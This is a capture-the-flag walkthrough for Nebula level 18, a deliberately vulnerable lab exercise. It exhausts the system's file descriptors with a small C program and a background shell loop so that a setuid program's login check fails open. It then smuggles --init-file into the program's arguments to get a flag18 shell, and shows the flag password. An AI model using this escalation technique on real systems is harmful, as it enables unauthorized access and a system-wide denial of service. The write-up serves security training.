Exploit-Education Nebula Level 18
Exploit Education Level 18
Challenge
Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.
To do this level, log in as the level18
account with the password level18
. Files for this level can be found in /home/flag18
.
Vulnerability
The program looks for a certain string and then calls certain functions.
if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
In this functions our goal is to execute shell
. But the program checks the value of the variable globals.loggedin
.
If we can set the value of this variable to 1
, we can execute a shell. Lets take a look at the login
function.
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
}
We can see that we can login with or without the password file. If we can prevent the program from opening the password
file we will be able to set the value of globals.loggedin
to 1 and then we can execute the shell
.
This can be done using up all file descriptors available in the system . If no file descriptors and available then the program won’t be able to open the password file and it will fail the if(fp)
check and we can login without the password file.
There is a command to check the file descriptor status in linux.
level18@nebula:~$ sysctl fs.file-nr
fs.file-nr = 5376 0 204482
It shows that 5376
file descriptors are open and a total of 204482
are available. (I have been playing around with file descriptors thats why there are more than 5000 open. Usually the numbers are way lower.)
Solution
Lets write a program that will open files descriptors but won’t close them.
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
int i=0;
for (i=0;i<4096;i++)
{
printf ("%d\n",i);
open("/tmp/open","r");
}
getchar();
return 0;
}
This program will open a file and then wait for input. We can run the same program simultaneously and use up all the file descriptors. But before that we have to ssh
into the box using another window and start our flag18
program. Once we use up all file descriptors we can login
. Also we can set the debug file to the terminal so that we can see the output.
Window1
level18@nebula:/home/flag18$ ./flag18 -d /dev/tty -v
Starting up. Verbose level = 1
login
shell
Permission denied
Now we can run our program to use up all the file descriptors
Window2
level18@nebula:~$ gcc filed.c
level18@nebula:~$for i in {1..1000};do ./a.out & done #maybe 1000 is overkill. You can try a lower number too
level18@nebula:~$sysctl fs.file-nr
-sh: start_pipeline: pgrp pipe: Too many open files in system
-sh: /sbin/sysctl: Too many open files in system
[1232] Done(126) ./a.out
[1233] Done(126) ./a.out
[1234] Done(126) ./a.out
[1235] Done(126) ./a.out
[1236] Done(126) ./a.out
Now we have used up all the file descriptors. Lets login
Window 1
level18@nebula:/home/flag18$ ./flag18 -d /dev/tty -v
Starting up. Verbose level = 1
login
shell
Permission denied
login
logged in successfully (without password file)
Now we have to terminate the programs we ran to pop
a shell.
Window 2
level18@nebula:~$for i in {1..100};do kill "%$i";done
level18@nebula:~$sysctl fs.file-nr
fs.file-nr = 153312 0 204482
Now we lets run the shell
Window 1
level18@nebula:/home/flag18$ ./flag18 -d /dev/tty -v
Starting up. Verbose level = 1
login
shell
Permission denied
login
logged in successfully (without password file)
shell
./flag18: -d: invalid option
Usage: ./flag18 [GNU long option] [option] ...
./flag18 [GNU long option] [option] script-file ...
GNU long options:
--debug
--debugger
--dump-po-strings
--dump-strings
--help
--init-file
--login
--noediting
--noprofile
--norc
--posix
--protected
--rcfile
--restricted
--verbose
--version
Shell options:
-irsD or -c command or -O shopt_option (invocation only)
-abefhkmnptuvxBCHP or -o option
But its giving us some errors. This is because of the arguments we are passing.
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
The program is passing the -d
argument to the shell. Which is an invalid argument. So we have to use some other argument before -d
which will be ignored by program but it will prevent the shell
form causing error. Let use
--init-file
argument.
(You have to run the c program again to use up the file descriptors and then kill it after login)
Window 2
level18@nebula:/home/flag18$ ./flag18 --init-file -d /dev/tty -v
./flag18: invalid option -- '-'
./flag18: invalid option -- 'i'
./flag18: invalid option -- 'n'
./flag18: invalid option -- 'i'
./flag18: invalid option -- 't'
./flag18: invalid option -- '-'
./flag18: invalid option -- 'f'
./flag18: invalid option -- 'i'
./flag18: invalid option -- 'l'
./flag18: invalid option -- 'e'
Starting up. Verbose level = 1
login
shell
Permission denied
login
logged in successfully (without password file)
shell
ls
--d flag18 password -v
getflag
You have successfully executed getflag on a target account
cat password
44226113-d394-4f46-9406-91888128e27a